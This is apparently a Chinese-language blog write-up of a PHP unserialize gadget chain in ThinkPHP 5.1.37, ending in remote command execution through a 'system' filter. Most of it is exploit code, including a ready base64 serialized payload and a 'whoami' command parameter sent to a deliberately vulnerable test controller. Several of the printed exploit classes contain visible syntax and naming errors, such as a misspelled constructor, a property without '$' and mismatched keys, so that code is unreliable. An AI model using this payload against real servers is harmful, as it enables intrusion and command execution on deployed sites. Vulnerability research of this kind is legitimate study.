环境构造 环境:php 7.0.12 下载包:[https://github.com/top-think/framework/releases/tag/v5.1.37] [https://github.com/top-think/think/releases/tag/v5.1.37]
只要将framework改为thinkphp放进think-5.1.37里即可
ThinkPHP5.1.37反序列化链 首先用全局变量搜索__destruct(),发现在think\process\pipes\Windows.php的__destruct()有可利用的地方
1 2 3 4 5 public function __destruct() { $this->close(); $this->removeFiles(); }
然后我们看向removeFiles()
1 2 3 4 5 6 7 8 9 private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
看见file_exists(),这个函数的参数必须是String的形式,所以我们可以利用这个特性来触发__toString(),我们通过全局搜索,对各文件的__toString()进行比对,我们可以使用think\Collection.php的__toString()
1 2 3 4 public function __toString() { return $this->toJson(); }
然后看向toJson()
1 2 3 4 public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
然后再看向toArray(),
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 public function toArray() { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible([$attr]); } $item[$key] = $relation->append([$attr])->toArray(); } else { $item[$name] = $this->getAttr($name, $item); } } } return $item; }
发现toArray()函数中的这里是可利用点
1 2 3 4 5 6 7 8 9 10 if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); }
我们可以利用$relation->visible($name);来触发__call()魔术方法,但是我们需要$this->append是可控点以及$relation是可控点,现在我们知道$this->append是可控的,但是$relation是否可控,我们需要看向getRelation()函数,所以根据全局搜索,我们可以看向think\model\concern\RelationShip.php
1 2 3 4 5 6 7 8 9 public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
由于输入的$key不在$this->relation中,所以返回空,因此可以通过if (!$relation),但是我们需要$relation可控,所以我们要继续看向getAttr()函数,可以通过全局搜索,看向think\model\concern\Attribute.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } // 检测属性获取器 $fieldName = Loader::parseName($name); $method = 'get' . Loader::parseName($name, 1) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($notFound && $relation = $this->isRelationAttr($name)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); } $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } elseif (method_exists($this, $method)) { if ($notFound && $relation = $this->isRelationAttr($name)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); } $value = $this->$method($value, $this->data); } elseif (isset($this->type[$name])) { // 类型转换 $value = $this->readTransform($value, $this->type[$name]); } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) { if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [ 'datetime', 'date', 'timestamp', ])) { $value = $this->formatDateTime($this->dateFormat, $value); } else { $value = $this->formatDateTime($this->dateFormat, $value, true); } } elseif ($notFound) { $value = $this->getRelationAttribute($name, $item); } return $value; }
看它的return $value,我们可以看一下$value是怎么来的,
1 $value = $this->getData($name);
因此,我们需要看向getData()
1 2 3 4 5 6 7 8 9 10 11 public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
可以看见当传入的$key是data这个可控点的键值的时候,会返回return $this->data[$name],从而让$relation成为可控点,此时,我们需要找一个__call(),里面会有一些危险函数可以利用,通过全局搜索,发现think\Request.php里的__call()可以利用
1 2 3 4 5 6 7 8 9 public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); } throw new Exception('method not exists:' . static::class . '->' . $method); }
但是看到$this->hook是控制了必须在这个类中,一般think\Request.php里的input()方法是相当于call_user_func(),所以我们可以先找到这个类中的input()方法的使用函数,看哪个函数可以使用,最后发现param()函数可以使用,然后再看哪个函数使用了param()函数且只有一个参数的,发现isAjax()函数调用了
1 2 3 4 5 6 7 8 9 10 11 12 13 public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false; if (true === $ajax) { return $result; } $result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
param()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
input函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { // 获取原始数据 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } $data = $this->getData($data, $name); if (is_null($data)) { return $default; } if (is_object($data)) { return $data; } } // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } if (isset($type) && $data !== $default) { // 强制类型转换 $this->typeCast($data, $type); } return $data; }
最后我们可以控制$filter和$data,然后通过array_walk_recursive()函数来执行命令
exp的构造 由于Windows类中的file_exists()触发的__toString()魔术方法是在Conversion类中的,又因为这个类是trait,所以不可以实例化,所以要找继承这个类的类,所以我们找到了model类
1 2 3 4 5 6 7 abstract class Model implements \JsonSerializable, \ArrayAccess { use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion;
但是发现Model类是个抽象类,所以我们需要找一个类是继承Model类的,找到了Pivot类,所以第一步,我们需要通过构造Windows类中的$this-file来触发__toString(),根据继承关系,我们可以使用Pivot类
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php namespace think\process\pipes; use think\model\Pivot; class Windows { private $file=[]; public function __construct(){ $this->file=[new Pivot()]; } }
此时会触发think\model\concern\Conversion类中的__toString(),然后再看向toJson(),再看向toArray(),我们需要控制$this->append和$this->data,所以exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php abstract class Model { protected $append; private $data; public function __construct{ $this->append=["huhu"=>[]]; $this->data=["huhu"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model { } ?>
然后触发Request类的__call()魔术方法,所以我们可以构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace think; class Request { protected $hook; protected $config=[]; protected filter; public function __constuct{ $this->hook=["visible"=>[$this,isAjax]]; $this->config["var_ajax"=>'huhu']; $this->filter="system"; } } ?>
然后将三部分合在一起,构成最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php namespace think; class Request { protected $hook; protected $config=[]; protected filter; public function __constuct{ $this->hook=["visible"=>[$this,isAjax]]; $this->config["var_ajax"=>'huhu']; $this->filter="system"; } } abstract class Model { protected $append; private $data; public function __construct{ $this->append=["huhu"=>[]]; $this->data=["huhu"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model { } namespace think\process\pipes; use think\model\Pivot; class Windows { private $file=[]; public function __construct(){ $this->file=[new Pivot()]; } } echo base64_encode(serialize(new Windows()));
测试 我们只需修改application\index\controller\Index.php文件即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace app\index\controller; class Index { public function index() { $b=$_POST['code']; $a=unserialize(base64_decode($b)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'.$b; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
然后访问/public/index.php,构造
1 2 3 4 5 get提交 ?huhu[]=whoami post提交 code=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=
即可执行命令
参考文章:[https://www.cnblogs.com/zpchcbd/p/12642225.html] [https://blog.csdn.net/qq_41891666/article/details/107463740]